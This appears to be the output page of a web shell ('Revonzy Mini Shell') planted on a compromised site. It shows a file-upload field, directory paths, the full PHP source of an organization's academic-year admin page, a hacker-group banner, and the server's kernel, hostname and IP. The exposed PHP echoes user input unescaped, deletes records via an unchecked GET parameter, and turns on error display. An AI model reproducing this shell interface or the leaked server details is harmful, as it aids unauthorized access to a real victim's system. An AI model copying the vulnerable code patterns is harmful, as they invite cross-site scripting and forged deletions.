Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/academic-year-master.php

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);


require_once('header.php');
require_once('header-left-section.php');

$flag				=	0;
	$success_flag		=	0;
	$acd_year				=	"";

	if(isset($_POST['submit_btn']))
	{
		$acd_year		=	$_POST['acd_year'];
	
		if($flag==0)
		{	
			$db_id = $db->get_year_id($acd_year);
		
			if($db_id == "")
			{
				if($db->save_acd_year_master_details($acd_year))
				{
					$success_flag	=	1;
					$acd_year	=	"";
				}
			}
			else
			{
				$success_flag	=	2;
			}
		}
	}
	
	if(isset($_GET['delete_id']))
	{
		$delete_id	=	$_GET['delete_id'];
		
		$db->delete_acd_year_master_data($delete_id);
	}
?> 
  <style>
.form-control
{
	background-color:#FFF !important;
}
h1
{
	text-align:center;
	color:#101566;
	font-weight:bold;
	
}
.content
{
	margin:5px;
}
.card
{
	margin:10px;
}
</style> 
 <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper">
   <form method="POST" autocomplete="off" action="<?php echo $_SERVER['PHP_SELF'] ?>">
    <section class="content">
      <div class="row">
        <div class="col-md-12">
          <div class="card card-secondary">
            <div class="card-header">
              <h3 class="card-title">Aceademic Year Master</h3>

             
            </div>
			<?php
				if($success_flag==1)
				{
			?>
				
				<div class="alert alert-success">
				<span class="alert-link">Success! </span>Record added successfully.
				</div>	
			<?php
				}
			?>
					
			<?php
				if($success_flag==2)
				{
			?>
				
				<div class="alert alert-danger">
				<span class="alert-link">Failed! </span>This Record Already Exist.
				</div>	
			<?php
				}
			?>
					
          <div class="card-body">
            <div class="row">
		  <div class="form-group col-lg-6">
			<label>Academic Year:</label>
            <input type="text" class="form-control" name="acd_year" placeholder=" Enter Academic Year." value="<?php echo $acd_year; ?>" required autofocus />		
			</div>
					
				<div class="form-group col-lg-6" style="text-align:center;">
					<label>-</label> <br />
					<button type="submit" class="btn btn-success" name="submit_btn">Add Record</button>
				</div>
			</div>
              <!-- /.col --
            </div>-->
            <!-- /.row -->
              </div>
              <!-- /.col -->
            </div>
            <!-- /.row -->
      
    </section>
	</form>					
    <!-- /.content -->
	   <div class="card">
        <div class="card-header">
          <h3 class="card-title"> Aceademic Year Master Report</h3>
		</div>
        <div class="card-body p-0">
          <table class="table table-striped projects">
              <thead>
                  <tr>
                      <th style="width: 1%">Sr.No</th>
					  
                      <th style="width: 20%"> Year</th>
                     
                      <th style="width: 50%">  </th>
                  </tr>
              </thead>
              <tbody>
             <?php
				
				$total_amount	=	0;
									
				$data	=	array();
				
				$data	=	$db-> get_all_acd_year_master_data();
				
				if(!empty($data))
				{
					$counter	=	0;
					
					foreach($data as $record)
					{
						$res_id			 =	$data[$counter][0];
						$res_acd_year	 =	$data[$counter][1];
						$res_date		 =	$data[$counter][2];
			?>
                  <tr>
                       <td><?php echo $counter+1; ?></td>
						<td style="text-align:left;"><?php echo $res_acd_year; ?></td>
                        <td class="project-actions text-right">
                          
                          <a class="btn btn-info btn-sm" href="edit-acd-year-master.php?edit_id=<?php echo $res_id; ?>">
                              <i class="fas fa-pencil-alt">
                              </i>
                              Edit
                          </a>
                          <a class="btn btn-danger btn-sm" href="<?php echo $_SERVER['PHP_SELF']."?delete_id=".$res_id; ?>" onclick="return confirm('Are you Sure to Delete This record?');" >
                              <i class="fas fa-trash">
                              </i>
                              Delete
                          </a>
                      </td>
                  </tr>
				  <?php
					
						$counter++;
					
						}
				
					}
					else
					{
						echo "no data found.";
					}
				?>
              </tbody>
          </table>
        </div>
        <!-- /.card-body -->
      </div>
      <!-- /.card -->
  </div>
  </div>
  </section>
  <?php
require_once('footer.php');
?> 

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4